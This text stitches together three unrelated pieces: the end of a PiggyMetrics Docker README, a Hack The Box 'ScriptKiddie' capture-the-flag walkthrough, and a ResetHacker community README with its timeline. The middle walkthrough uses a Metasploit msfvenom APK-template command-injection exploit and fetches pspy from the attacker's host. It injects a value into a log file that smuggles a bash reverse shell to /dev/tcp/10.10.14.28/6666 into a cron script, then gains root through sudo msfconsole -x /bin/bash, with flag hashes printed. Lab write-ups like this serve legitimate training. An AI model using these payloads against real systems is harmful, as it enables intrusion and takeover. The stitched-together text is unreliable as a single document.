Then, run `docker-compose -f docker-compose.yml -f docker-compose.dev.yml up -d` `docker-compose.dev.yml` inherits `docker-compose.yml` with additional possibility to build images locally and expose all containers ports for convenient development. #### Important endpoints - http://DOCKER-HOST:80 - Gateway - http://DOCKER-HOST:8761 - Eureka Dashboard - http://DOCKER-HOST:9000/hystrix - Hystrix Dashboard - http://DOCKER-HOST:8989 - Turbine stream (source for the Hystrix Dashboard) - http://DOCKER-HOST:15672 - RabbitMq management (default login/password: guest/guest) #### Notes All Spring Boot applications require already running [Config Server](https://github.com/sqshq/PiggyMetrics#config-service) for startup. But we can start all containers simultaneously because of `fail-fast` Spring Boot property and `restart: always` docker-compose option. That means all dependent containers will try to restart until Config Server will be up and running. Also, Service Discovery mechanism needs some time after all applications startup. Any service is not available for discovery by clients until the instance, the Eureka server and the client all have the same metadata in their local cache, so it could take 3 hearbeats. Default hearbeat period is 30 seconds. ## Feedback welcome PiggyMetrics is open source, and would greatly appreciate your help. Feel free to contact me with any questions.
# ScriptKiddie URL: https://app.hackthebox.com/machines/ScriptKiddie Level: Easy Date 27 May 2021 ## Walkthrough - [Enumeration](#enumeration) - [User flag](#user-flag) - [Privesc](#privesc) # Enumeration ## NMAP ``` # Nmap 7.91 scan initiated Tue May 25 23:12:28 2021 as: nmap -T4 -p- -oN 01_nmap.txt 10.10.10.226 Nmap scan report for 10.10.10.226 Host is up (0.048s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp # Nmap done at Tue May 25 23:13:02 2021 -- 1 IP address (1 host up) scanned in 34.19 seconds ``` ``` # Nmap 7.91 scan initiated Tue May 25 23:25:56 2021 as: nmap -T4 -p22,5000 -A -oN 02_nmap.txt 10.10.10.226 Nmap scan report for 10.10.10.226 Host is up (0.044s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA) | 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA) |_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519) 5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5) |_http-server-header: Werkzeug/0.16.1 Python/3.8.5 |_http-title: k1d'5 h4ck3r t00l5 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 43.92 ms 10.10.14.1 2 44.17 ms 10.10.10.226 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue May 25 23:26:33 2021 -- 1 IP address (1 host up) scanned in 38.02 seconds ``` Our guess is that this path could work: https://www.rapid7.com/db/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection/ We generate a "template" with `msfconsole`: ``` root@kali:/opt/htb/ScriptKiddie# msfconsole `:oDFo:` ./ymM0dayMmy/. -+dHJ5aGFyZGVyIQ==+- `:sm⏣~~Destroy.No.Data~~s:` -+h2~~Maintain.No.Persistence~~h+- `:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:` ./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/. -++SecKCoin++e.AMd` `.-://///+hbove.913.ElsMNh+- -~/.ssh/id_rsa.Des- `htN01UserWroteMe!- :dopeAW.No<nano>o :is:TЯiKC.sudo-.A: :we're.all.alike'` The.PFYroy.No.D7: :PLACEDRINKHERE!: yxp_cmdshell.Ab0: :msf>exploit -j. :Ns.BOB&ALICEes7: :---srwxrwx:-.` `MS146.52.No.Per: :<script>.Ac816/ sENbove3101.404: :NT_AUTHORITY.Do `T:/shSYSTEM-.N: :09.14.2011.raid /STFU|wall.No.Pr: :hevnsntSurb025N. dNVRGOING2GIVUUP: :#OUTHOUSE- -s: /corykennedyData: :$nmap -oS SSo.6178306Ence: :Awsm.da: /shMTl#beats3o.No.: :Ring0: `dDestRoyREXKC3ta/M: :23d: sSETEC.ASTRONOMYist: /- /yo- .ence.N:(){ :|: & };: `:Shall.We.Play.A.Game?tron/ ```-ooy.if1ghtf0r+ehUser5` ..th3.H1V3.U2VjRFNN.jMh+.` `MjM~~WE.ARE.se~~MMjMs +~KANSAS.CITY's~-` J~HAKCERS~./.` .esc:wq!:` +++ATH` ` =[ metasploit v6.0.18-dev ] + -- --=[ 2081 exploits - 1124 auxiliary - 352 post ] + -- --=[ 596 payloads - 45 encoders - 10 nops ] + -- --=[ 7 evasion ] Metasploit tip: Use the resource command to run commands from a file [*] Starting persistent handler(s)... msf6 > msf6 > msf6 > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection [*] No payload configured, defaulting to cmd/unix/reverse_netcat msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show targets Exploit targets: Id Name -- ---- 0 Automatic msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show options Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.apk yes The APK file name Payload options (cmd/unix/reverse_netcat): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.88.10 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port **DisablePayloadHandler: True (no handler will be created!)** Exploit target: Id Name -- ---- 0 Automatic msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST 10.10.14.28 LHOST => 10.10.14.28 msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 5555 LPORT => 5555 msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) options Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.apk yes The APK file name Payload options (cmd/unix/reverse_netcat): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.28 yes The listen address (an interface may be specified) LPORT 5555 yes The listen port **DisablePayloadHandler: True (no handler will be created!)** Exploit target: Id Name -- ---- 0 Automatic msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run [+] msf.apk stored at /root/.msf4/local/msf.apk ``` # User-flag We get access and we grab user flag: ``` root@kali:/opt/htb/ScriptKiddie# nc -nlvp 5555 listening on [any] 5555 ... ^[[B connect to [10.10.14.28] from (UNKNOWN) [10.10.10.226] 57700 /bin/sh: 1: : not found uname -a Linux scriptkiddie 5.4.0-65-generic #73-Ubuntu SMP Mon Jan 18 17:25:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux whoami kid pwd /home/kid/html cd /home/kid ls html logs snap user.txt cat user.txt a28bb8812f96f08b73d6e8516a25074f ``` # Privesc We found a cronjob: ``` kid@scriptkiddie:~$ cd /home/pwn/ kid@scriptkiddie:/home/pwn$ ls -l total 8 drwxrw---- 2 pwn pwn 4096 May 27 22:50 recon -rwxrwxr-- 1 pwn pwn 250 Jan 28 17:57 scanlosers.sh kid@scriptkiddie:/home/pwn$ cat scanlosers.sh #!/bin/bash log=/home/kid/logs/hackers cd /home/pwn/ cat $log | cut -d' ' -f3- | sort -u | while read ip; do sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" & done if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi ``` We use `pspy` to have a confirmation: ``` kid@scriptkiddie:~$ wget http://10.10.14.28:8000/pspy64 --2021-05-27 22:24:24-- http://10.10.14.28:8000/pspy64 Connecting to 10.10.14.28:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 3078592 (2.9M) [application/octet-stream] Saving to: ‘pspy64’ pspy64 100%[=====================================================================================================>] 2.94M 4.97MB/s in 0.6s 2021-05-27 22:24:25 (4.97 MB/s) - ‘pspy64’ saved [3078592/3078592] kid@scriptkiddie:~$ chmod +x ./pspy64 kid@scriptkiddie:~$ kid@scriptkiddie:~$ kid@scriptkiddie:~$ ./pspy64 pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░ ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2021/05/27 22:24:35 CMD: UID=0 PID=99 | 2021/05/27 22:24:35 CMD: UID=0 PID=98 | 2021/05/27 22:24:35 CMD: UID=0 PID=97 | 2021/05/27 22:24:35 CMD: UID=0 PID=96 | 2021/05/27 22:24:35 CMD: UID=0 PID=95 | 2021/05/27 22:24:35 CMD: UID=0 PID=947 | /usr/lib/policykit-1/polkitd --no-debug 2021/05/27 22:24:35 CMD: UID=0 PID=94 | 2021/05/27 22:24:35 CMD: UID=0 PID=939 | /sbin/ag ``` We change script in order to execute a reverse shell: ``` root@kali:~# nc -nlvp 6666 listening on [any] 6666 ... kid@scriptkiddie:~$ echo ' ;/bin/bash -c "bash -i >& /dev/tcp/10.10.14.28/6666 0>&1" #' > /home/kid/logs/hackers connect to [10.10.14.28] from (UNKNOWN) [10.10.10.226] 43376 bash: cannot set terminal process group (872): Inappropriate ioctl for device bash: no job control in this shell pwn@scriptkiddie:~$ pwn@scriptkiddie:~$ pwn@scriptkiddie:~$ pwn@scriptkiddie:~$ pwn@scriptkiddie:~$ id id uid=1001(pwn) gid=1001(pwn) groups=1001(pwn) ``` We are now "pwn" user. There is an easy way to get root access through `msfconsole`: ``` pwn@scriptkiddie:~/recon$ sudo -l sudo -l Matching Defaults entries for pwn on scriptkiddie: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User pwn may run the following commands on scriptkiddie: (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole pwn@scriptkiddie:~/.ssh$ sudo /opt/metasploit-framework-6.0.9/msfconsole -x /bin/bash </metasploit-framework-6.0.9/msfconsole -x /bin/bash id .:okOOOkdc' 'cdkOOOko:. .xOOOOOOOOOOOOc cOOOOOOOOOOOOx. :OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO: 'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO' oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO. cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO; .dOOo'WM.OOOOocccxOOOO.MX'xOOd. ,kOl'M.OOOOOOOOOOOOO.M'dOk, :kk;.OOOOOOOOOOOOO.;Ok: ;kOOOOOOOOOOOOOOOk: ,xOOOOOOOOOOOx, .lOOOOOOOl. ,dOd, . =[ metasploit v6.0.9-dev ] + -- --=[ 2069 exploits - 1122 auxiliary - 352 post ] + -- --=[ 592 payloads - 45 encoders - 10 nops ] + -- --=[ 7 evasion ] Metasploit tip: When in a module, use back to go back to the top level prompt [*] exec: /bin/bash uid=0(root) gid=0(root) groups=0(root) ls authorized_keys id uid=0(root) gid=0(root) groups=0(root) cd /root ls root.txt snap cat root.txt adcc7564f40b2fa261366fe63d322ea5 ```
## 🎉 26th January 2023 - Happy Republic Day and ## 🎉 Happy 4th anniversary to the ResetHacker community! 🎉 <div align=""><br> <a href="mailto:[email protected]?subject=ResetHacker Community" target="_blank"><img src="https://img.shields.io/badge/Gmail-D14836?logo=gmail"></a> <a href="https://github.com/RESETHACKER-COMMUNITY" target="_blank"><img src="https://img.shields.io/badge/GitHub-100000?logo=github"></a> <a href="https://www.youtube.com/c/RESETHACKER?style=social" target="_blank"><img src="https://img.shields.io/youtube/channel/subscribers/UChQSrDKLm8NkSsgqZZYtKZA?style=social"></a> <a href="https://instagram.com/resethacker" target="_blank"><img src="https://img.shields.io/badge/Instagram-E4405F?logo=instagram"></a> <a href="https://twitter.com/resethacker" target="_blank"><img src="https://img.shields.io/badge/Twitter-1DA1F2?logo=twitter"></a> <a href="https://www.linkedin.com/company/resethacker-solutions" target="_blank"><img src="https://img.shields.io/badge/LinkedIn-0077B5?logo=linkedin"></a> <a href="https://resethacker.medium.com" target="_blank"><img src="https://img.shields.io/badge/Medium-12100E?logo=medium"></a> <a href="https://linktr.ee/RESETHACKER" target="_blank"><img src="https://img.shields.io/badge/linktree-39E09B?logo=linktree"></a> </div> <h1 align="center"> <br> <a href="https://github.com/RESETHACKER-COMMUNITY/What-Is-RESETHACKER/"><img src="/.images/RH-BLACK-BG.jpg" alt="RESETHACKER" width="300" height="280"></a> </h1> > ResetHacker is celebrating it's **4th anniversary by establishing chapters across all states & country, with the aim of promoting cybersecurity as a career and enabling 10,000 hackers by the end of 2023.** > We're available in [Countries and States](https://github.com/RESETHACKER-COMMUNITY/What-Is-RESETHACKER/blob/main/Chapters/Readme.md) - India - UK - Europe > Made in India 🇮🇳 > *Send a birthday message **#RESETHACKER2023*** > [Twitter](https://twitter.com/resethacker) | [Instagram](https://instagram.com/@resethacker/) ## Sponsor Resethacker <a href="https://www.paypal.com/paypalme/Vicky481"><img src="https://raw.githubusercontent.com/andreostrovsky/donate-with-paypal/master/PNG/blue.png" width="150" ></a> Index | *ResetHacker* --- | --- -📢 | [What is ResetHacker?](https://github.com/RESETHACKER-COMMUNITY/What-Is-RESETHACKER/blob/main/README.md#what-is-resethacker) -🎓 | [How it started?](https://github.com/RESETHACKER-COMMUNITY/What-Is-RESETHACKER/blob/main/README.md#how-it-started) -🗨 | [Departments of ResetHacker](https://github.com/RESETHACKER-COMMUNITY/What-Is-RESETHACKER/blob/main/README.md#departments-of-resethacker-community) -📺 | [ResetHacker Features](https://github.com/RESETHACKER-COMMUNITY/What-Is-RESETHACKER/blob/main/README.md#resethacker-community-features) -👁️‍🗨️ | [Our Journey](https://github.com/RESETHACKER-COMMUNITY/What-Is-RESETHACKER/blob/main/README.md#our-journey) -👩‍💻 | [Meet ResetHacker (Offline)](https://github.com/RESETHACKER-COMMUNITY/What-Is-RESETHACKER/blob/main/README.md#meet-resethacker) -💬 | [Contributors of ResetHacker](/contributers.md) -🏆 | [Be Scocial with ResetHacker](https://github.com/RESETHACKER-COMMUNITY/What-Is-RESETHACKER/blob/main/README.md#be-social-with-resethacker) -🌐 | [Website(Offline)](https://resethacker.com/) # Welcome to ResetHacker where hacker thinks what is next for a career ? **What is RESETHACKER ?** > An India crowdsourcing community of action for Cybersecurity, IT professionals, engineers, and anyone who **thinks of cybersecurity as a career"**. ![RestHacker-Community](https://user-images.githubusercontent.com/25515871/211546520-2c15a8bb-2f13-4bbe-90ce-16a4a23b7f5d.jpeg) ## Objective: To Enable 10,000 individuals in cybersecurity within the end of 2023, with a focus on creating a cybersecurity as career culture and launching chapters for all states and sharing knowdelege through Events, guidance and mentorship. ## Our Mission : Connect, empower and train the infosec groups, leaders and workforce to promote **cybersecurity as a career** through workshops, training sessions, mentorship programs, and creating a learning platform, with a focus on developing leaders in the field. ## Our Vision : A world-class India-centric community accessible to all, which empowers individuals and groups from all backgrounds to pursue a career in cybersecurity and become leaders in the field. ## Goal : A Community-led Ed-tech platform that track students progress and provide **Extended support** on top of certifications to help you succeed. ## Timeline : We are committed to achieving these goals within a 1-year timeline. ## How It started? > We(A group of white hat hacker) started with an idea to provide cybersecurity knowledge to technical & non-technical people in india and reset the mindset towards Hacking(Cybersecurity) as career. ### Fun Fact - In 2 years (2019 - 2021), RESETHACKER has become one of a fastest-growing cybersecurity community of open security knowledge. - Over 90+ people have contributed and 20+ people were leading the RESETHACKER Community Where 50+ people are the CORE of RESETHACKER. - ResetHacker celebrated its **2 year anniversary** by launching Github organisation, Making everything transparent for the community. ## [Departments of ResetHacker Community](/Departments.md) Index | Department --- | --- **0** | chapter Leaders and Managers(Online) - RESETHACKER chapter] **1** | [Weekly Infosec Update (Online) - An open source Newsletter](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/tree/main/ResetCybersecuirty) **2** | [ResetHacker Security(Offline)- Team of Freelance Penetration Tester](https://resethacker.com) **3** | [ResetDeveloper Dept.(Offline)](https://instagram.com/resetdeveloper?igshid=1k4ij7y0brg4r) **4** | [ResetHacker Cyber Crime Investigation Dept.(Offline)](https://instagram.com/resethacker.ccid?igshid=1wynnwno5vjn8) **5** | [ResetEditors Dept.(Offline)](https://instagram.com/reseteditors?igshid=1e1t1pwbndodx) ## ResetHacker Community Features Index | Iniciative & Events --- | --- **0** | [ResetHacker Chapters(Karnataka, Maharastra, Andhara Pradesh, Gujarat, Delhi, Kerala)]() **0** | [Weekly Infosec Update (Online) - Open Source Newsletter](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/tree/main/ResetCybersecuirty) **1** | [RESETBOUNTY- Monthly Webinar on Pentesting](https://youtube.com/playlist?list=PLNR8n-5bMyMP0XRrnye1Kccey6OnTGkuy) **2** | [RESTCON Conference](https://youtube.com/playlist?list=PLNR8n-5bMyMOMHqJS2drxIA78IOPxTBCO) **3** | [The ResetHacker Show - Interview with Hacker](https://youtube.com/playlist?list=PLNR8n-5bMyMNQOHLdDh6-t0Hw_YPWa04N) **4** | [Security Monday - Weekly News from IT sector](https://youtube.com/playlist?list=PLNR8n-5bMyMMdpvOtaHB8r1ScVBg2Ed2m) **5** | [ResetHacker Publication- Blogs](https://www.resethackerofficial.medium.com/) **6** | [Mini CTF - Monthly CTF](https://youtube.com/playlist?list=PLNR8n-5bMyMOR6PHMOKXtTBMnguMMugFM) **7** | [ResetHacker Discussion to discuss Vulnerability](https://t.me/joinchat/URNgiYnNKnZw_Jqy) **8** | [Discord(Offline) Discussions - resources & Open talk](https://discord.gg/HbM3435JcX) **9** | [ResetHacker Spotlight - Features Hackers work](https://www.instagram.com/p/CKdi3bCgSwn/?igshid=devgbxjw6gkb) ## Our Journey and backend with founder: - 26th January 2023 > **stage 2** 🎉 Happy 4th anniversary to the ResetHacker community! 🎉 > **stage 2** ResetHacker is celebrating it's 4th anniversary by establishing chapters across all states & country, with the aim of promoting cybersecurity as a career and enabling 10,000 hackers by the end of 2023. We're available in Countries and States. > **stage 2** we will be hosting an introduction meetup for the RESETHACKER Gujarat chapter. Additionally, we have partnered with HelloFriend media consultancy company and have an exciting announcement to share. - 25th January 2023 > **stage 2** we have updated our GitHub, celebrating our anniversary by relaunching our online presence, and organizing an online meetup. We will also have a final meeting with the HelloFreind teams and founder. - 24th January 2023 > **stage 2** We will be launching international chapters for the RESTHACKER community and expanding outside of India. > **stage 2** Due to a delay in work caused by a partner's hospitalization, we have not been able to focus on all of our teams, but we are now back on track. > **stage 2** We are also discussing the launch of a podcast to celebrate cybersecurity and hosting chapter meetups for team management and operations. > **stage 2** We have identified a problem and are working on the execution of a pitch deck to generate a Proof of Concept, discussing partnerships with leaders in cybersecurity, and looking for potential co-founders in the tech field. We are also launching a startup group and connecting with entrepreneurs. > **stage 2** Again Delay xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx. (Till from 28th, 29th jan & 12thfeb to 19th feb) - 30th December 2022 > **stage 2** The ResetHacker community is currently working on refining our business model and discussing with founders to understand how they raise money. > **stage 2** We are also working on our pitch deck, discussing with mentors to look for partners and co-founders. > **stage 2** Hosting chapter meetup and team mangement and operation. > **stage 2** Launching startup group and cennecting enterprenues. > **stage 2** Opportunity to work as community manager for in AIplanet based. > **stage 2** We have faced some delays in our work due to a founder and community manager partner being hospitalized from December 18th to January 24th 2023. This has made it difficult for us to focus on all of our teams, but we are now back on track and moving forward with our plans. - 10th December 2022 > **stage 2** Working on Refining the business model and discussing with founders and unserstanding how they rasise the money. > **stage 2** Working on UI/UX part of website and refining the mentors. > **stage 2** Discussing on hosting offline private party and relaunch of RESETHACKER in bangalore. > **stage 2** Opportunity to promote startup and network with guests/founders/VC in HYDRABAD and work as commmunity manager. - 10th November 2022 > **stage 2** Working on building a MVP for RESETHACKER, recruting required team and hosting Offline meetup to Relaunch RESTHACKER. > **stage 2** Tried to reachout to company regarding the to curating community curated newsletter for business for pentesterlab, hackerone, intigriti etc. and had a conversation/meeting but not align with their goal or business model will not work for them. > **stage 2** Opportunity to promote startup in HYDRABAD and work as commmunity manager. - 10th October 2022 > After taking the feedback from community for almost 3 months, making announcement such as releasing Weekly Infosec Update every wednesday at 8:00-8:30 AM IST. and working on the feedback with every release of updates v0.1 - v0.6 and We have started working on the **stage 2**. - 21st Sept 2022 > Huge thanks to our awesome Community Leader to contribution and giving back to community and thankyou for being the part of team. Welcome leaders to the Weekly Infosec Update Team. : Good Resources Share, Paul miller, Tarang Parmar, Tuhin Bose, Vikram, Alexandre ZANNI & ph03n1x69. - 7th Sept 2022 > Resethacker Community is so grateful to all the Organization, group, and community that support Weekly Infosec Update for the engagement. Without their support reaching out to hackers would not have been possible and we have given the title "Community Engagement Partners" of Weekly Infosec Update:- Hacker101 Discord, TryHackMe Discord, Offensive Security Discord, HackerSploit Discord, Bug Bounty Hunter Den, Stefan Rows Community, Nahamsec Discord, RedBlue Private Discussion, TCM Security Discord, Bounty-hunters, The Cyber Council and others. - 29th August 2022 > Vikram founder of ResetHacker community launches **Pentesting-Helpdesk** on ResetHacker github, to give community full assistance with Pentesting Pre-Engagements Advice Pentesting NDA & Saas Aggrement form Pentesting Report Samples: Pentesting Report videos - How to write pentest Report? Pentesting Timelines Penetration quotation etc. - 25th July 2022 > Vikram founder of ResetHacker community ResetHacker community enroll the beta version of Weekly Infosec Update v0.1 crowdsource newsletter. > Vikram founder of ResetHacker community Understanding the startup ecosystem by joining Google india Startup after getting selected for 6 months till november 2022. - 26th June 2022 > Inviting community leaders to solve the problem with Weekly Infosec Update and work togrther to create culture and provide value to Infosec community. > Vikram founder of ResetHacker community Understanding the startup ecosystem by joining Google india Startup after getting selected for 6 months till november 2022. - 26th June 2022 > Vikram founder of ResetHacker community started working on new project called Weekly Infosec Update because It's very time consuming for professionals to monitor the InfoSec Community on twitter, telegram, reddit, discord and visiting security website every day. - 1st June 2022 > Vikram one of the founder of ResetHacker started working on new mission to Bring Infosec community, group and leader together that solve community challenge, problem, create culture and provide value to Infosec community. > Vikram founder of ResetHacker community Understanding the startup ecosystem by joining Google india Startup after getting selected for 6 months till november 2022. - Jan 2022 > Vikram founder of ResetHacker community Understanding the startup ecosystem by joining YCombinator Startup school after getting selected for winter batch(3 months) - 4th may 2022 > ResetHacker launches **Bugbounty-Helpdesk** on ResetHacker github, to giving community full assistance with Bug bounty FAQ, bugbounty setup, bugbounty wordlists, bugbounty checklist, bugbounty mindmap, bugbounty Methodology and other resources. - 1st April 2021 > ResetHacker Team will be offline from social media platform and only taking the on private projects. - 26th January 2021 > ResetHacker celebrates its **2 year anniversary** and RESETHACKER community launches Github organisation page, Making everything transparent to the community. > ResetHacker disclosed the inside details, teams, workflow, achievement and exclusive resources. - 6th January 2020 > ResetHacker introduced **private Discussion group** with a purpose to explore, discuss the vulnerability, attacks, POC, pen-testing, bug hunting approaches, privacy, tools development, programming, project and talk about the best in IT sector. - 4th January 2020 > ResetHacker launches **Helpdesk** on discord, to giving community full assistance with questions on ResetHacker discord, explore and curate content. - 1st January 2020 > ResetHacker announce an opportunity for leaders who have an enthusiasm to bring the community together and wants to join Team ResetHacker. > Welcome Anugrah SR, Tushar Varma & Rahul to ResetHacker Team.:) - 9th Dec 2020 > ResetHacker announced of Episode 2 of Monthly webinar with *Ninad Mathpati on Accounts Takeovers. - 7th Dec 2020 > ResetHacker introduced India 1st a weekly basis Security news called **SECURITY MONDAY** with QuiteHacker, to promote security and give an update on cybersecurity.) > Welcome QuiteHacker to the team. :) - 5th Dec 2020 > ResetHacker launches new department for video editors, graphical designers and logo designers. where the Gautam Makwana⁣ and Chiranjit Ghosh got promoted as a leader of **RESETEDITOR** department. - 1st Dec 2020 > ResetHacker introduced **SPOTLIGHT** to appreciate the findings and technical writing of individuals. - 22nd November 2020 > ResetHacker conducts his 1st Joint Meeting with the community and all the departments to nominate the leader, new roles, helpdesk for the community and resolving the question of team ResetHacker. > ResetHacker team leaders assigned a task to create NDA and automate the work of ResetHacker Community. - 7th November 2020 > ResetHacker announced his **Monthly webinar series** to promote pentesting and improve bug hunting. > Team leader of ResetHacker & CTF players received an HTB VIP access as a gift from Board of Directors of ResetHacker. > ResetHacker launches **RHv3.0** to enhance the knowledge of team members and reduced the daily contribution inside the Community to 3hr per week. - 21st October 2020 > ResetHacker received a Gift from **Spyspe**. - 18th October 2020 > RH_CCID officially launched the **cybercrime report portal** to take query for the investigation. > ResetHacker team of CTF creators (Cyberknight, Mr.Unstoppable and Thehackercrew) volunteering bsidesmaharastra by creating challenges in the event. - 17th October 2020 > ResetHacker received an invitation to be the a **Community partner** of Bsidemaharasha. > ResetHacker notified the team leaders regarding the invitation we receive from Founder of Bsidemaharasha to creator CTF challenges for their upcoming event. - 7th October 2020 > ResetHacker announced the partnership giveaway in collaboration with **Spyspe.** - 5th October 2020 > The ResetHacker Show, a series of interview by ResetHacker received an appreciation from **Integrity** in "Top 20 bug bounty YouTube channels to follow in 2020!" > **Intigriti** rewarded **ResetHacker** with €133 Swag Voucher and appreciate the hard work of ResetHacker Team. - 2nd October 2020 > ResetHacker team and leaders got appreciated from the board of directors with a **certificate of contributions** for the RESTCON Event. - 1st October 2020 > ResetDeveloper (leading the ResetDeveloper department: Altaf Shaikh) announced his 1st webinars on "Importance of Python and cybersecurity." - 29th September 2020 > ResetHacker Partnered with Cyber Jagrithi for **30 days cyber awareness campaign** to aware pepople about cybersecurity, cybercrime and cyberbullying. - 6th September 2020 > ResetHacker assigned the task to RESTCON team to deliver certificates and price to the CTF winners. > ResetHacker is working with ResetDeveloper department to Create an **incident respond team** for RESETHACKER website. - 4th September 2020 > ResetHacker assigned the task to RESTCON team to deliver certificates and letter of appreciation to the speakers. - 1 September 2020 > ResetHacker assigned the task to RESTCON team to Announce the CTF winners. - 30 August 2020 > RESTHACKER 14hr jeopardy based **RESTCON CTF** Competition is Live. > Statistics of CTFd platform are 626 Team,1.1k individual. > ResetDevelopers department assigned @Harsh to moderate the CTF server and resolve the issue. > ResetHacker assigned RESTCON team( @Cyberknight, @Attrib, @RyuSec) to uploading update the challenges and resolve the issue with the challenges. > ResetHacker assigned Cyberknight, cryptonic007, Smile_hacker, saurav & Thehackercrew to moderate the discord. - 29th August 2020 > ResetHacker presents 2nd day of **RESTCON conference** called as **Researchersers day** with the guest speakers **Phillips Wylie, Nitin Panday, Tajwar Khan, Akash Sharma, Atul Singh and Umair Nehri.** > Total number of visitors for the 2nd day of RESTCON conference 1.5k. - 29th August 2020 > RESETHACKER announced the **promoting partners** of RESTCON. **Owaspchandigarh, Cyberhack_lpu, Secarmy, Bsidesmaharashtra and Noob_4rmy.** - 28th August 2020 > ResetHacker presents 1st day of **RESTCON conference** called as **Bug Hunting day** with guest speakers **Alyssa Miller, priyanshu_ratnakar⁣, sankarrajj⁣, Chenny Ren and aravindha Hariharan.** > RESETHACKER organized RESTCON **Sponsored** by **ResetHacker Security Department, Google cloud, Bugsee, HTB, Tryhackme, 3daysHack, ResetHacker.CCID Dept. and ResetDevelopers Dept.** > Total number of visitors for the 1st day of RESTCON conference was 2k. - 28th August 2020 > ResetHacker introduced the **community partners** of RESTCON:- **Thapar university, Owasp tiet, Vellore Institute of Technology and The Hacker meetups.** - 27 August 2020 > ResetDevelopers Dept. fixed the logo of Sponsor and community partners on the event page. > ResetDeveloper Dept. fixed the email registrations on the event page. > ResetDeveloper fixed the 500 error on the registration page. > ResetDeveloper fixed the issues with https://resethacker.com and https://www.resethacker.com - 6th August 2020 > ResetHacker announced the **open Discussion with CyberKnight** on discord to discuss and demonstrate the hosting on onion server. - 26th Junly 2020 > ResetDevelopers testing the CTFd platform and other platforms. - 23th Jully 2020 > ResetDeveloper team (@Sagar Panwar) finish the developer page of ResetHacker.Kudos to Altaf for the leading the project. - 19th July 2020 > ResetDeveloper team (@Miheer) finish the Login page of ResetHacker.Kudos to Altaf for leading the project. - 17th Jully 2020 > ResetDeveloper Team (@Miheer) finalising the template for 